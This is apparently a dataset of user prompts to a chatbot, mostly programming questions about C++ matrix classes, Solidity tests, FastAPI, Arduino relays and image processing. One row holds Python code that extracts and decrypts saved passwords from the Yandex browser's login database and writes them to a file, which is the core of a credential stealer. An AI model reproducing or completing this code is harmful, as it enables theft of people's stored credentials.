row_id
int64 0
48.4k
| init_message
stringlengths 1
342k
| conversation_hash
stringlengths 32
32
| scores
dict |
|---|---|---|---|
32,926
|
is this golang code correct? package main
import "fmt"
func HelloWorld() {
// BEGIN (write your solution here)
fmt.Println("Hello, World!")
// END
}
|
602831af092b0cbfb46f6b5221ea1a84
|
{
"intermediate": 0.284368097782135,
"beginner": 0.6295892596244812,
"expert": 0.08604256808757782
}
|
32,927
|
his error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for Pillow
Failed to build Pillow
ERROR: Could not build wheels for Pillow, which is required to install pyproject.toml-based projects
|
ae91c4226cf1788c1b29c3efec9b17d6
|
{
"intermediate": 0.4875507652759552,
"beginner": 0.24999630451202393,
"expert": 0.2624529004096985
}
|
32,928
|
#include <iostream>
class Int17Matrix3D {
public:
Int17Matrix3D(int x, int y, int z) : width_(x), height_(y), depth_(z) {
array_ = new int32_t[kNumLenght_ * x * y * z];
std::memset(array_, 0, kNumLenght_ * x * y * z * sizeof(int32_t));
}
~Int17Matrix3D() {
delete[] array_;
}
Int17Matrix3D(const Int17Matrix3D& other) : width_(other.width_), height_(other.height_), depth_(other.depth_) {
array_ = new int32_t[kNumLenght_ * width_ * height_ * depth_];
std::memcpy(array_, other.array_, kNumLenght_ * width_ * height_ * depth_ * sizeof(int32_t));
}
Int17Matrix3D& operator=(const Int17Matrix3D& other);
static Int17Matrix3D make_array(int x, int y, int z);
Int17Matrix3D& operator[](int index);
int32_t Int17Matrix3D::operator[](int index) const;
operator int();
Int17Matrix3D& operator=(int32_t value);
private:
const int8_t kNumLenght_ = 17;
int32_t current_index_;
int32_t max_index_;
int32_t width_;
int32_t height_;
int32_t depth_;
int32_t* array_;
int32_t current_x_ = 0;
int32_t current_y_ = 0;
int32_t current_z_ = 0;
bool TakeBit(const int32_t* value, uint32_t bit_position) const;
Int17Matrix3D& ClearBit(int32_t* value, int32_t bit_position);
Int17Matrix3D& SetBit(int32_t* value, int32_t bit_position);
int GetIndex(int x, int y, int z) const;
int32_t ToDecimal(const int32_t* array_, int32_t current_index_) const;
friend Int17Matrix3D operator+(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs);
friend Int17Matrix3D operator-(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs);
friend Int17Matrix3D operator*(const Int17Matrix3D& lhs, const int32_t& rhs);
friend std::ostream& operator<<(std::ostream& stream, const Int17Matrix3D& array);
friend bool operator==(const Int17Matrix3D& lhs, int32_t rhs);
friend bool operator==(int32_t lhs, const Int17Matrix3D& rhs);
friend bool operator==(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs);
friend bool operator!=(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs);
};
#include <iostream>
#include "Int17Matrix3D.h"
Int17Matrix3D& Int17Matrix3D::operator=(const Int17Matrix3D& other) {
if (this != &other) {
delete[] array_;
width_ = other.width_;
height_ = other.height_;
depth_ = other.depth_;
array_ = new int32_t[kNumLenght_ * width_ * height_ * depth_];
std::memcpy(array_, other.array_, kNumLenght_ * width_ * height_ * depth_ * sizeof(int32_t));
}
return *this;
}
Int17Matrix3D Int17Matrix3D::make_array(int x, int y, int z) {
return Int17Matrix3D(x, y, z);
}
Int17Matrix3D& Int17Matrix3D::operator[](int index) {
static int8_t counter = 0;
if (counter == 0) {
current_x_ = index;
} else if (counter == 1) {
current_y_ = index;
} else {
current_z_ = index;
}
if (counter == 2) {
current_index_ = GetIndex(current_x_, current_y_, current_z_);
counter = -1;
}
++counter;
if (current_x_ >= width_ || current_y_ >= height_ || current_z_ >= depth_) {
throw std::out_of_range("Indices are out of bounds");
}
return *this;
}
int Int17Matrix3D::operator[](int index) const {
return ToDecimal(array_, current_index_);
}
Int17Matrix3D& Int17Matrix3D::operator=(int32_t value) {
int first_bit_index = current_index_ * kNumLenght_;
for (int i = 0; i < kNumLenght_; ++i) {
if (value & (1 << i)) {
SetBit(array_, first_bit_index + i);
} else {
ClearBit(array_, first_bit_index + i);
}
}
return *this;
}
bool Int17Matrix3D::TakeBit(const int32_t* value, uint32_t bit_position) const {
int array_index = bit_position / 32;
int bit_index = bit_position % 32;
return ((value[array_index] >> bit_index) & 1) != 0;
}
Int17Matrix3D& Int17Matrix3D::ClearBit(int32_t* value, int32_t bit_position) {
value[bit_position / 32] &= ~(1 << (bit_position % 32));
return *this;
}
Int17Matrix3D& Int17Matrix3D::SetBit(int32_t* value, int32_t bit_position) {
value[bit_position / 32] |= (1 << (bit_position % 32));
return *this;
}
int Int17Matrix3D::GetIndex(int x, int y, int z) const {
return x + y * (width_ * kNumLenght_) + z * (width_ * height_ * kNumLenght_);
}
int32_t Int17Matrix3D::ToDecimal(const int32_t* array_, int32_t current_index_) const {
int first_bit_index = current_index_ * kNumLenght_;
int32_t decimal_value = 0;
int32_t exp = 1;
for (int i = 0; i < kNumLenght_; ++i) {
if (TakeBit(array_, first_bit_index + i)) {
decimal_value += exp;
}
exp <<= 1;
}
return decimal_value;
}
Int17Matrix3D operator+(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs) {
if (lhs.width_ != rhs.width_ || lhs.height_ != rhs.height_ || lhs.depth_ != rhs.depth_) {
throw std::out_of_range("Arrays must be with the same size");
}
Int17Matrix3D result(lhs.width_, lhs.height_, lhs.depth_);
for (int z = 0; z < lhs.depth_; ++z) {
for (int y = 0; y < lhs.height_; ++y) {
for (int x = 0; x < lhs.width_; ++x) {
int index = lhs.GetIndex(x, y, z);
int val_lhs = lhs.ToDecimal(lhs.array_, index);
int val_rhs = rhs.ToDecimal(rhs.array_, index);
result[x][y][z] = val_lhs + val_rhs;
}
}
}
return result;
}
Int17Matrix3D operator-(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs) {
if (lhs.width_ != rhs.width_ || lhs.height_ != rhs.height_ || lhs.depth_ != rhs.depth_) {
throw std::out_of_range("Arrays must be with the same size");
}
Int17Matrix3D result(lhs.width_, lhs.height_, lhs.depth_);
for (int z = 0; z < lhs.depth_; ++z) {
for (int y = 0; y < lhs.height_; ++y) {
for (int x = 0; x < lhs.width_; ++x) {
int index = lhs.GetIndex(x, y, z);
int val_lhs = lhs.ToDecimal(lhs.array_, index);
int val_rhs = rhs.ToDecimal(rhs.array_, index);
result[x][y][z] = val_lhs - val_rhs;
}
}
}
return result;
}
Int17Matrix3D operator*(const Int17Matrix3D& lhs, const int32_t& rhs) {
Int17Matrix3D result(lhs.width_, lhs.height_, lhs.depth_);
for (int z = 0; z < lhs.depth_; ++z) {
for (int y = 0; y < lhs.height_; ++y) {
for (int x = 0; x < lhs.width_; ++x) {
int index = lhs.GetIndex(x, y, z);
int val_lhs = lhs.ToDecimal(lhs.array_, index);
result[x][y][z] = val_lhs * rhs;
}
}
}
return result;
}
bool operator==(const Int17Matrix3D& lhs, int32_t rhs) {
return lhs.ToDecimal(lhs.array_, lhs.current_index_) == rhs;
}
bool operator==(int32_t lhs, const Int17Matrix3D& rhs) {
return lhs == rhs.ToDecimal(rhs.array_, rhs.current_index_);
}
bool operator==(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs) {
return lhs.ToDecimal(lhs.array_, lhs.current_index_) == rhs.ToDecimal(rhs.array_, rhs.current_index_);
}
bool operator!=(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs) {
return !(lhs == rhs);
}
std::ostream& operator<<(std::ostream& stream, const Int17Matrix3D& array) {
for (int z = 0; z < array.depth_; ++z) {
for (int y = 0; y < array.height_; ++y) {
for (int x = 0; x < array.width_; ++x) {
if (x != 0) {
stream << " ";
}
int temp = array[x][y][z];
stream << temp;
}
stream << '\n';
}
if (z != array.depth_ - 1) {
stream << '\n';
}
}
return stream;
}
[ 7%] Building CXX object lib/CMakeFiles/Int17Matrix3D.dir/Int17Matrix3D.cpp.o
In file included from /Users/alex/labwork5-SPLOIT47/lib/Int17Matrix3D.cpp:2:
/Users/alex/labwork5-SPLOIT47/lib/Int17Matrix3D.h:25:26: error: extra qualification on member 'operator[]'
int32_t Int17Matrix3D::operator[](int index) const;
~~~~~~~~~~~~~~~^
/Users/alex/labwork5-SPLOIT47/lib/Int17Matrix3D.cpp:183:28: error: subscripted value is not an array, pointer, or vector
int temp = array[x][y][z];
~~~~~~~~^~
2 errors generated.
make[2]: *** [lib/CMakeFiles/Int17Matrix3D.dir/Int17Matrix3D.cpp.o] Error 1
make[1]: *** [lib/CMakeFiles/Int17Matrix3D.dir/all] Error 2
make: *** [all] Error 2
how to fix it without proxi calsse
|
25cf6ecdb829b5b0204f0cf3994400c7
|
{
"intermediate": 0.266336590051651,
"beginner": 0.4546990394592285,
"expert": 0.2789643704891205
}
|
32,929
|
2023-11-29 15:23:30.090 `st.cache` is deprecated. Please use one of Streamlit's new caching commands,
`st.cache_data` or `st.cache_resource`.
|
9d55580dfcde3e21548c676de46123fe
|
{
"intermediate": 0.342949241399765,
"beginner": 0.2836536169052124,
"expert": 0.3733971416950226
}
|
32,930
|
solidity
enum VotingSystem {
MEMBERSHIP,
NETWORK_GOVERNANCE_TOKEN,
ANY_TOKEN
}
struct VotingToken {
uint256 chainId;
address token;
address balanceType; // voting power strategy
// address 1
// address 2
}
struct VotingSystemTokenCheckpoint {
uint256 fromBlock;
VotingToken[] votingTokens;
}
struct VotingSystemLayout {
VotingSystemTokenCheckpoint[] checkpoints;
mapping(uint256 /* current chain blockNumber */ => mapping(uint256 /* chainId */ => uint256)) otherChainBlockNumbers;
}
function setVotingSystem(
VotingSystem vs,
VotingToken[] memory votingTokens
) external {
SettingsStorage.justSetUint256Setting(VOTING_SYSTEM_SETTING_KEY, uint256(vs));
if (vs == VotingSystem.MEMBERSHIP) {
VotingToken[] memory emptyArray = new VotingToken[](0);
_setVotingTokens(emptyArray);
emit VotingSystemTokensUpdated(emptyArray);
} else {
IVotingPowerTypeRegistry votingPowerTypeRegistry = IVotingPowerTypeRegistry(
SettingsStorage.getAddressSetting(VOTING_POWER_TYPE_REGISTRY_ADDRESS)
);
unchecked {
for (uint256 i = 0; i < votingTokens.length; i++) {
require(
votingPowerTypeRegistry.isVotingPowerType(votingTokens[i].balanceType),
"WRONG_BALANCE_TYPE_ADDRESS"
);
if (vs == VotingSystem.NETWORK_GOVERNANCE_TOKEN) {
require(votingTokens[i].chainId == block.chainid, "WRONG_CHAIN_ID");
}
}
}
_setVotingTokens(votingTokens);
emit VotingSystemTokensUpdated(votingTokens);
}
}
write python test for setVotingSystem
|
a51c51c3f510cf1d549e081f73f3e953
|
{
"intermediate": 0.3524542450904846,
"beginner": 0.40467002987861633,
"expert": 0.24287569522857666
}
|
32,931
|
i want to give you a pdf to analyse
|
475bcf7beb3dceff9de70118feb8fe84
|
{
"intermediate": 0.3424724340438843,
"beginner": 0.2898547649383545,
"expert": 0.36767280101776123
}
|
32,932
|
help me I also want to make so the user can continue asking questions but to do that I need to make sure the cleint also gets the data so it can store it in the current message group:
@app.post("/search1")
async def predict(request: Request, user: str = Depends(get_current_user)):
body = await request.body()
create = requests.post("https://bing.github1s.tk/api/create")
data = json.loads(create.text)
message = body.decode() # convert bytes to string
# logger.info(message) # Add this line
message = f"""Could you please help me find the current used price for a {message}? Here are the steps to follow:
Conduct a search to determine the top 5 used prices for <{message}>.
If {message} is related to audio, you can also check https://www.hifishark.com/. Otherwise, you can skip this step.
Please provide only the top 5 used prices and exclude any retail prices.
Whenever possible, prioritize finding prices specific to the Swedish market (tradera/blocket/facebook) before looking internationally.
Please respond in Swedish. Thank you!"""
header = {"Content-Type": "application/json"}
request_message = {
"conversationId": data["conversationId"],
"encryptedconversationsignature": data["encryptedconversationsignature"],
"clientId": data["clientId"],
"invocationId": 0,
"conversationStyle": "Balanced",
"prompt": message,
"allowSearch": True,
"context": "",
}
# Serialize the dictionary to a JSON-formatted string
request_message_json = json.dumps(request_message)
# Print the serialized request message
print(request_message_json)
# Make the POST request to the specified URL
responded = requests.post(
"https://bing.github1s.tk/api/sydney", data=request_message_json, headers=header
)
# Check if the response has JSON content
json_objects = responded.text.split("▲")
json_objects = json_objects[0].split("\x1e")
print(json_objects)
texts = []
urls = []
for obj in json_objects:
if obj:
# Parse the JSON string
json_data = json.loads(obj)
print(json_data)
if "arguments" in json_data and "messages" in json_data["arguments"][0]:
for message in json_data["arguments"][0]["messages"]:
texts = message["text"]
# Look for adaptiveCards in the message
if "adaptiveCards" in message:
for adaptiveCard in message["adaptiveCards"]:
# Continue only if 'body' is in the adaptiveCard
if "body" in adaptiveCard:
# Now extract texts with URLs where type is 'TextBlock'
for item in adaptiveCard["body"]:
if item["type"] == "TextBlock" and "text" in item:
# Split text by whitespace and search for URLs
urls = item["text"]
# texts should now contain all extracted text fields from each message
print(texts)
pattern = r"\[(.*?)\]\((.*?)\)"
urls = re.sub(pattern, r'<a href="\2" target="_blank">\1</a><br>', urls)
urls = urls.replace("Learn more: ", "")
texts += f"<br> {urls}"
return StreamingResponse(text_generator(texts))
|
75aca90564c748678e7f76d18b77d570
|
{
"intermediate": 0.37188953161239624,
"beginner": 0.46290430426597595,
"expert": 0.1652061492204666
}
|
32,933
|
Create golang script which uses bento4 mp4decrypt as cgo
|
c2ac1948a9b75c238142958ca463a629
|
{
"intermediate": 0.4808037281036377,
"beginner": 0.21495240926742554,
"expert": 0.3042438328266144
}
|
32,934
|
How to add default @State paremeter to all View's in ios application via extend of View protocol?
|
5d26ecda239a49085e245bb8ee054ffe
|
{
"intermediate": 0.5295990705490112,
"beginner": 0.18817941844463348,
"expert": 0.2822215259075165
}
|
32,935
|
Prepare a detailed report on trilateration and the dangers of its use.
|
278189daff6c53fd8ea9a90044724104
|
{
"intermediate": 0.28682589530944824,
"beginner": 0.3437844514846802,
"expert": 0.3693896532058716
}
|
32,936
|
when i used the following code in matlab to shift the data to zero axis, it didnt work. why?
% Detrend the data
mean_value = mean(dataMatrix); % Compute the mean of the dataset
% Subtract the mean from the dataset to detrend
detrended_data = dataMatrix - repmat(mean_value, size(dataMatrix, 1), 1);
|
ee86c375e1a0db9e5be34c1addceeed8
|
{
"intermediate": 0.5264975428581238,
"beginner": 0.17653754353523254,
"expert": 0.2969648838043213
}
|
32,937
|
make a flow chart that takes a number and outputs if it should say ‘Fizz’, ‘Buzz’, ‘FizzBuzz’ or the number depending on if it is divisible by 3, divisible by 5, divisible by 3 AND 5 respectively.
|
d5eb706cb46cacae4d38085ca2c991ef
|
{
"intermediate": 0.44109436869621277,
"beginner": 0.18398140370845795,
"expert": 0.3749242126941681
}
|
32,938
|
You're experienced programmer on python with more than 10 years of experience.
Speed up my code:
# считаем платный трафик
# создадим список датафреймов
no_data = []
# для каждого файла в каждой папке
for root, dirs, files in tqdm(os.walk("./data/no")):
for name in files:
# определим его путь и название
path = os.path.join(root, name)
# считаем его в датафрейм
df0 = pd.read_csv(path,
parse_dates=['Event Time', 'Install Time'],
low_memory=False)
# добавим датафрейм в общий список
no_data.append(df0)
If you need to ask me additional questions before answering to my question to make an answer better, you can ask me additional questions first, than answer to my question. If you don't need it - just answer.
|
c844449d09f0ab16f602b4a4e7ceeba2
|
{
"intermediate": 0.3300638794898987,
"beginner": 0.31492844223976135,
"expert": 0.35500767827033997
}
|
32,939
|
give command to create branch on git
|
a884b77579f47a47d4b0e5f80214df73
|
{
"intermediate": 0.3851970434188843,
"beginner": 0.22007893025875092,
"expert": 0.394724041223526
}
|
32,940
|
How to add default @State paremeter to all View’s in ios application via extend of View protocol?
|
9989fede011a80221b06e9da8288d8ae
|
{
"intermediate": 0.5484433174133301,
"beginner": 0.18578940629959106,
"expert": 0.26576727628707886
}
|
32,941
|
#include <iostream>
class Proxy;
class ConstProxy;
class Int17Matrix3D {
public:
Int17Matrix3D(int x, int y, int z);
Int17Matrix3D(const Int17Matrix3D& other);
~Int17Matrix3D();
Int17Matrix3D& operator=(int32_t value);
Int17Matrix3D& operator[](int index);
int32_t operator[](int index) const;
Int17Matrix3D& operator()(int x, int y, int z);
int32_t operator()(int x, int y, int z) const;
Int17Matrix3D& operator=(const Int17Matrix3D& other);
static Int17Matrix3D make_array(int x, int y, int z);
void copy(int32_t* array1, int32_t* array2, int size);
private:
const int8_t kNumLenght_ = 17;
int32_t current_index_;
int32_t max_index_;
int32_t width_;
int32_t height_;
int32_t depth_;
int32_t* array_;
int32_t current_x_ = 0;
int32_t current_y_ = 0;
int32_t current_z_ = 0;
bool TakeBit(const int32_t* value, uint32_t bit_position) const;
Int17Matrix3D& ClearBit(int32_t* value, int32_t bit_position);
Int17Matrix3D& SetBit(int32_t* value, int32_t bit_position);
int GetIndex(int x, int y, int z) const;
int32_t ToDecimal(const int32_t* array_, int32_t current_index_) const;
friend Int17Matrix3D operator+(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs);
friend Int17Matrix3D operator-(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs);
friend Int17Matrix3D operator*(const Int17Matrix3D& lhs, const int32_t& rhs);
friend std::ostream& operator<<(std::ostream& stream, const Int17Matrix3D& array);
friend bool operator==(const Int17Matrix3D& lhs, int32_t rhs);
friend bool operator==(int32_t lhs, const Int17Matrix3D& rhs);
friend bool operator==(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs);
friend bool operator!=(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs);
};
#include <iostream>
#include "Int17Matrix3D.h"
Int17Matrix3D::Int17Matrix3D(int x, int y, int z) : width_(x), height_(y), depth_(z), array_(new int32_t[kNumLenght_ * x * y * z]){}
Int17Matrix3D::Int17Matrix3D(const Int17Matrix3D& other) : width_(other.width_), height_(other.height_), depth_(other.depth_), array_(new int32_t[kNumLenght_ * width_ * height_ * depth_]) {
copy(array_, other.array_, kNumLenght_ * width_ * height_ * depth_);
}
Int17Matrix3D::~Int17Matrix3D() { delete[] array_; }
Int17Matrix3D& Int17Matrix3D::operator=(const Int17Matrix3D& other) {
if (this != &other) {
delete[] array_;
width_ = other.width_;
height_ = other.height_;
depth_ = other.depth_;
array_ = new int32_t[kNumLenght_ * width_ * height_ * depth_];
copy(array_, other.array_, kNumLenght_ * width_ * height_ * depth_);
}
return *this;
}
Int17Matrix3D Int17Matrix3D::make_array(int x, int y, int z) {
return Int17Matrix3D(x, y, z);
}
Int17Matrix3D& Int17Matrix3D::operator[](int index) {
static int8_t counter = 0;
if (counter == 0) {
current_x_ = index;
} else if (counter == 1) {
current_y_ = index;
} else {
current_z_ = index;
}
if (counter == 2) {
current_index_ = GetIndex(current_x_, current_y_, current_z_);
counter = -1;
}
++counter;
if (current_x_ >= width_ || current_y_ >= height_ || current_z_ >= depth_) {
throw std::out_of_range("Indices are out of bounds");
}
return *this;
}
int Int17Matrix3D::operator[](int index) const {
return ToDecimal(array_, current_index_);
}
Int17Matrix3D& Int17Matrix3D::operator=(int32_t value) {
int first_bit_index = current_index_ * kNumLenght_;
for (int i = 0; i < kNumLenght_; ++i) {
if (value & (1 << i)) {
SetBit(array_, first_bit_index + i);
} else {
ClearBit(array_, first_bit_index + i);
}
}
return *this;
}
Int17Matrix3D& Int17Matrix3D::operator()(int x, int y, int z) {
if (x >= width_ || y >= height_ || z >= depth_) {
throw std::out_of_range("Indices are out of bounds");
}
current_index_ = GetIndex(x, y, z);
return *this;
}
int32_t Int17Matrix3D::operator()(int x, int y, int z) const {
int index = GetIndex(x, y, z);
return ToDecimal(array_, index);
}
void Int17Matrix3D::copy(int32_t* array1, int32_t* array2, int size) {
for (int i = 0; i < size; ++i) {
array1[i] = array2[i];
}
}
bool Int17Matrix3D::TakeBit(const int32_t* value, uint32_t bit_position) const {
int array_index = bit_position / 32;
int bit_index = bit_position % 32;
return ((value[array_index] >> bit_index) & 1) != 0;
}
Int17Matrix3D& Int17Matrix3D::ClearBit(int32_t* value, int32_t bit_position) {
value[bit_position / 32] &= ~(1 << (bit_position % 32));
return *this;
}
Int17Matrix3D& Int17Matrix3D::SetBit(int32_t* value, int32_t bit_position) {
value[bit_position / 32] |= (1 << (bit_position % 32));
return *this;
}
int Int17Matrix3D::GetIndex(int x, int y, int z) const {
return x + y * (width_ * kNumLenght_) + z * (width_ * height_ * kNumLenght_);
}
int32_t Int17Matrix3D::ToDecimal(const int32_t* array_, int32_t current_index_) const {
int first_bit_index = current_index_ * kNumLenght_;
int32_t decimal_value = 0;
int32_t exp = 1;
for (int i = 0; i < kNumLenght_; ++i) {
if (TakeBit(array_, first_bit_index + i)) {
decimal_value += exp;
}
exp <<= 1;
}
return decimal_value;
}
Int17Matrix3D operator+(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs) {
if (lhs.width_ != rhs.width_ || lhs.height_ != rhs.height_ || lhs.depth_ != rhs.depth_) {
throw std::out_of_range("Arrays must be with the same size");
}
Int17Matrix3D result(lhs.width_, lhs.height_, lhs.depth_);
for (int z = 0; z < lhs.depth_; ++z) {
for (int y = 0; y < lhs.height_; ++y) {
for (int x = 0; x < lhs.width_; ++x) {
int index = lhs.GetIndex(x, y, z);
result.array_[result.GetIndex(x, y, z)] = lhs.array_[lhs.GetIndex(x, y, z)] + rhs.array_[rhs.GetIndex(x, y, z)];
}
}
}
return result;
}
Int17Matrix3D operator-(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs) {
if (lhs.width_ != rhs.width_ || lhs.height_ != rhs.height_ || lhs.depth_ != rhs.depth_) {
throw std::out_of_range("Arrays must be with the same size");
}
Int17Matrix3D result(lhs.width_, lhs.height_, lhs.depth_);
for (int z = 0; z < lhs.depth_; ++z) {
for (int y = 0; y < lhs.height_; ++y) {
for (int x = 0; x < lhs.width_; ++x) {
int index = lhs.GetIndex(x, y, z);
result.array_[result.GetIndex(x, y, z)] = lhs.array_[lhs.GetIndex(x, y, z)] - rhs.array_[rhs.GetIndex(x, y, z)];
}
}
}
return result;
}
Int17Matrix3D operator*(const Int17Matrix3D& lhs, const int32_t& rhs) {
Int17Matrix3D result(lhs.width_, lhs.height_, lhs.depth_);
for (int z = 0; z < lhs.depth_; ++z) {
for (int y = 0; y < lhs.height_; ++y) {
for (int x = 0; x < lhs.width_; ++x) {
int index = lhs.GetIndex(x, y, z);
result.array_[result.GetIndex(x, y, z)] = lhs.array_[lhs.GetIndex(x, y, z)] * rhs;
}
}
}
return result;
}
bool operator==(const Int17Matrix3D& lhs, int32_t rhs) {
return lhs.ToDecimal(lhs.array_, lhs.current_index_) == rhs;
}
bool operator==(int32_t lhs, const Int17Matrix3D& rhs) {
return lhs == rhs.ToDecimal(rhs.array_, rhs.current_index_);
}
bool operator==(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs) {
return lhs.ToDecimal(lhs.array_, lhs.current_index_) == rhs.ToDecimal(rhs.array_, rhs.current_index_);
}
bool operator!=(const Int17Matrix3D& lhs, const Int17Matrix3D& rhs) {
return !(lhs == rhs);
}
std::ostream& operator<<(std::ostream& stream, const Int17Matrix3D& array) {
}
реалиузй операторы >> и << для одного элемента
|
a47613441439f38c3a1eee9ac93bb596
|
{
"intermediate": 0.27840158343315125,
"beginner": 0.4326339066028595,
"expert": 0.28896450996398926
}
|
32,942
|
how to detect keyboard input python
|
4711cdb4561dce5021db02a8acc45cd4
|
{
"intermediate": 0.23405316472053528,
"beginner": 0.19847962260246277,
"expert": 0.567467212677002
}
|
32,943
|
what game is easy to code for a grade 10 tech cpt using python
|
97dc8191ed074b958ad9858f93afa7e5
|
{
"intermediate": 0.24785487353801727,
"beginner": 0.5839859247207642,
"expert": 0.16815923154354095
}
|
32,944
|
hello ,can you help me to replace all the use of vector to array in this code
|
cff352205a4372edafc9c14264e97863
|
{
"intermediate": 0.4474093019962311,
"beginner": 0.2333611100912094,
"expert": 0.3192295730113983
}
|
32,945
|
Another exception was thrown: type 'int' is not a subtype of type 'String'
|
c4d9befc181f804490d92ec7c01d84e0
|
{
"intermediate": 0.44806969165802,
"beginner": 0.27816012501716614,
"expert": 0.27377012372016907
}
|
32,946
|
how to copy off all files from linux subdirectories to one directory
|
ad4e28e6d3ba9851afee044e5ee5dae6
|
{
"intermediate": 0.35821375250816345,
"beginner": 0.32467615604400635,
"expert": 0.3171100616455078
}
|
32,947
|
from sklearn.datasets import fetch_mldata
ImportError: cannot import name 'fetch_mldata' from 'sklearn.datasets' (C:\Users\AME\AppData\Local\Programs\Python\Python311\Lib\site-packages\sklearn\datasets\__init__.py)
PS C:\Users\AME\Documents\Digit_OCR> pip
|
bcfffa55f436a6e4ecd62a6e286416e9
|
{
"intermediate": 0.4699403941631317,
"beginner": 0.2128600776195526,
"expert": 0.3171994686126709
}
|
32,948
|
C:\src\chromium>fetch --no-history chromium
Updating depot_tools...
Running: 'C:\Users\User\AppData\Local\.vpython-root\store\python_venv-hs7jfbker99b7hrue7pln2q254\contents\Scripts\python3.exe' 'C:\src\depot_tools\gclient.py' root
C:\src\.gclient_entries missing, .gclient file in parent directory C:\src might not be the file you want to use.
Your current directory appears to already contain, or be part of,
a checkout. "fetch" is used only to get new checkouts. Use
"gclient sync" to update existing checkouts.
Fetch also does not yet deal with partial checkouts, so if fetch
failed, delete the checkout and start over (crbug.com/230691).
|
0fba4005bd2063821cc67b2fe7d552b5
|
{
"intermediate": 0.3406387269496918,
"beginner": 0.3054017722606659,
"expert": 0.3539595305919647
}
|
32,949
|
how to copy of one type from subdirecorys to directory in linux
|
31f49af276d277025a54fad00ac186a5
|
{
"intermediate": 0.34609052538871765,
"beginner": 0.3155405521392822,
"expert": 0.33836889266967773
}
|
32,950
|
Is bbr2 the best congestionprovider for gaming?
|
e20f86fb356b8086e75c2b0716cb3a6b
|
{
"intermediate": 0.22069764137268066,
"beginner": 0.2215484380722046,
"expert": 0.5577539205551147
}
|
32,951
|
def Yandexpass():
textyp = 'Passwords Yandex:' + '\n'
textyp += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
textyp += url + ' | ' + login + ' | ' + password + '\n'
return textyp
file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+")
file.write(str(Yandexpass()) + '\n')
file.close()
переделай чтоб было сюда:
log_filename2 = os.path.join(temp_folder, f'password.txt')
with open(log_filename1, 'a') as log_file:
|
2c0bb156ffe2df60186621cd4d738699
|
{
"intermediate": 0.4129370450973511,
"beginner": 0.3344791531562805,
"expert": 0.2525838315486908
}
|
32,952
|
regex Match a single character present in the list below [0-9]
|
bd83f29fcd49e23fcffe835bf381768a
|
{
"intermediate": 0.3784051537513733,
"beginner": 0.25698572397232056,
"expert": 0.3646091818809509
}
|
32,953
|
How to generate docs of a c++ project using Doxygen, on the command line, without using a Doxyfile?
|
e5899153065da1783bd941ca88281066
|
{
"intermediate": 0.5363135933876038,
"beginner": 0.18506069481372833,
"expert": 0.2786256968975067
}
|
32,954
|
Can you write a code in arduino esp32 esp-01 module where gpio 0 is connected to a relay. High is off and low is on. make use of liberary "#include <ESP8266WiFi.h>" I want to control it trough my webbrouwser. The UI should have 3 catergories. Manual , Timer and Clock. Manual: 2 buttons on and off and a status showing it is of or on. Timer 2 buttons start and stop and some textbox for on in seconds and on for off in seconds. Clock with 2 buttons. a start and stop. Being able to set the go on time and go off time. Full code please for esp32 esp-01 module
|
b653006c25ef0d2fcb86181a6692c977
|
{
"intermediate": 0.49687156081199646,
"beginner": 0.3045813739299774,
"expert": 0.19854708015918732
}
|
32,955
|
i have an image with different geometrical figures with different colors on white background. write a python script that extracts those objects based on color and saves them as different images
|
359239096c45ad7776c72a5dc5fa8890
|
{
"intermediate": 0.3600408434867859,
"beginner": 0.18330706655979156,
"expert": 0.45665207505226135
}
|
32,956
|
write a java Problem
Chef has
�
A marbles, and his friend has
�
B. They want to redistribute the marbles among themselves such that after redistributing:
Chef and his friend both have at least one marble each; and
The number of marbles with Chef is divisible by the number of marbles with his friend.
What's the minimum number of marbles that need to be transferred from one person to another to achieve this?
Input Format
The first line of input will contain a single integer
�
T, denoting the number of test cases.
The only line of each test case contains two space-separated integers
�
A and
�
B — the number of marbles with Chef and the number of marbles with his friend, respectively.
Output Format
For each test case, output on a new line the minimum number of marbles to be transferred.
Constraints
1
≤
�
≤
1000
1≤T≤1000
1
≤
�
,
�
≤
1000
1≤A,B≤1000
Sample 1:
Input
Output
4
7 2
10 5
6 5
5 6
1
0
4
5
Explanation:
Test case
1
1: Chef has
7
7 marbles and his friend has
2
2. He can give his friend one marble. Now he has
6
6 marbles, his friend has
3
3, and
6
6 is divisible by
3
3.
Test case
2
2:
10
10 is already divisible by
5
5, no need to redistribute any marbles.
Test case
3
3: Chef can take
4
4 marbles from his friend. Now, Chef has
10
10 marbles, and his friend has
1
1 marble.
Test case
4
4: Chef can take
5
5 marbles from his friend. Now, Chef has
10
10 marbles, and his friend has
1
1 marble.
accepted
Accepted
2407
total-Submissions
Submissions
18309
accuracy
Accuracy
16.69
Did you like the problem statement?
51 users found this helpful
|
c3c2afec7a94fa1826e2170ca2c931e3
|
{
"intermediate": 0.408231645822525,
"beginner": 0.23963592946529388,
"expert": 0.3521324396133423
}
|
32,957
|
#include <iostream>
#include <vector>
struct Node {
int id;
Node* left;
Node* right;
Node(int id) : id(id), left(nullptr), right(nullptr) {}
};
struct BST {
